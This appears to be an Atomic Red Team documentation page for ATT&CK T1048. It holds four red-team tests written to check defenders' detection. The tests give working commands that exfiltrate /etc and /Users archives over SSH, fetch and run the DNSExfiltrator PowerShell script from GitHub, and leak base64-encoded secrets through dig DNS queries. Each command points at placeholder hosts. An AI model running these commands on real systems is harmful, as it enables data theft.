Skip to content
Atomic Red Team
atomics
T1048

T1048 - Exfiltration Over Alternative Protocol

Description from ATT&CK (opens in a new tab)

Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.

Alternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Adversaries may also opt to encrypt and/or obfuscate these alternate channels.

Exfiltration Over Alternative Protocol (opens in a new tab) can be done using various common operating system utilities such as Net (opens in a new tab)/SMB or FTP.(Citation: Palo Alto OilRig Oct 2016) On macOS and Linux curl may be used to invoke protocols such as HTTP/S or FTP/S to exfiltrate data from a system.(Citation: 20 macOS Common Tools and Techniques)

Many IaaS and SaaS platforms (such as Microsoft Exchange, Microsoft SharePoint, GitHub, and AWS S3) support the direct download of files, emails, source code, and other sensitive information via the web console or Cloud API (opens in a new tab).

Atomic Tests


Atomic Test #1 - Exfiltration Over Alternative Protocol - SSH

Input a domain and test Exfiltration over SSH

Remote to Local

Upon successful execution, sh will spawn ssh contacting a remote domain (default: target.example.com) writing a tar.gz file.

Supported Platforms: macOS, Linux

auto_generated_guid: f6786cc8-beda-4915-a4d6-ac2f193bb988

Inputs:

NameDescriptionTypeDefault Value
domaintarget SSH domainurltarget.example.com

Attack Commands: Run with sh!

ssh #{domain} "(cd /etc && tar -zcvf - *)" > ./etc.tar.gz


Atomic Test #2 - Exfiltration Over Alternative Protocol - SSH

Input a domain and test Exfiltration over SSH

Local to Remote

Upon successful execution, tar will compress /Users/* directory and password protect the file modification of Users.tar.gz.enc as output.

Supported Platforms: macOS, Linux

auto_generated_guid: 7c3cb337-35ae-4d06-bf03-3032ed2ec268

Inputs:

NameDescriptionTypeDefault Value
user_nameusername for domainstringatomic
passwordpassword for userstringatomic
domaintarget SSH domainurltarget.example.com

Attack Commands: Run with sh!

tar czpf - /Users/* | openssl des3 -salt -pass #{password} | ssh #{user_name}@#{domain} 'cat > /Users.tar.gz.enc'


Atomic Test #3 - DNSExfiltration (doh)

DNSExfiltrator enables the transfer (exfiltration) of a file over a DNS request covert channel. This is basically a data leak testing tool allowing to exfiltrate data over a covert channel. !!! Test will fail without a domain under your control with A record and NS record !!! See this github page for more details - https://github.com/Arno0x/DNSExfiltrator (opens in a new tab)

Supported Platforms: Windows

auto_generated_guid: c943d285-ada3-45ca-b3aa-7cd6500c6a48

Inputs:

NameDescriptionTypeDefault Value
passwordPassword used to encrypt the data to be exfiltratedstringatomic
domainThe domain name to use for DNS requestsstringtarget.example.com
ps_moduleDNSExfiltrator powershell ps_modulepathPathToAtomicsFolder\..\ExternalPayloads\dnsexfil.ps1
dohGoogle or CloudFlare DoH (DNS over HTTP) serverstringgoogle
timeThe time in milliseconds to wait between each DNS requeststring500
encodingSet to '-b32' to use base32 encoding of data. Might be required by some DNS resolvers.string

Attack Commands: Run with powershell!

Import-Module "#{ps_module}"
Invoke-DNSExfiltrator -i "#{ps_module}" -d #{domain} -p #{password} -doh #{doh} -t #{time} #{encoding}

Dependencies: Run with powershell!

Description: DNSExfiltrator powershell file must exist on disk at specified location (#{ps_module})
Check Prereq Commands:
if (Test-Path "#{ps_module}") {exit 0} else {exit 1}
Get Prereq Commands:
New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
IWR "https://raw.githubusercontent.com/Arno0x/DNSExfiltrator/8faa972408b0384416fffd5b4d42a7aa00526ca8/Invoke-DNSExfiltrator.ps1" -OutFile "#{ps_module}"


Atomic Test #4 - Exfiltrate Data using DNS Queries via dig

This test demonstrates how an attacker can exfiltrate sensitive information by encoding it as a subdomain (using base64 encoding) and making DNS queries via the dig command to a controlled DNS server.

Supported Platforms: macOS, Linux

auto_generated_guid: a27916da-05f2-4316-a3ee-feec67a437be

Inputs:

NameDescriptionTypeDefault Value
dns_portAttacker's DNS server portinteger53
attacker_dns_serverAttacker's DNS server addressstring8.8.8.8
secret_infosecret info that will be exfiltiratedstringthis is a secret info

Attack Commands: Run with bash!

dig @#{attacker_dns_server} -p #{dns_port} $(echo "#{secret_info}" | base64).google.com

Dependencies: Run with bash!

Description: dig command
Check Prereq Commands:
which dig
Get Prereq Commands:
which apt && sudo apt update && sudo apt install -y bind9-dnsutils || which yum && sudo yum install -y bind-utils || which dnf && sudo dnf install -y bind-utils || which apk && sudo apk add bind-tools || which pkg && sudo pkg update && sudo pkg install -y bind-tools || which brew && brew update && brew install --quiet bind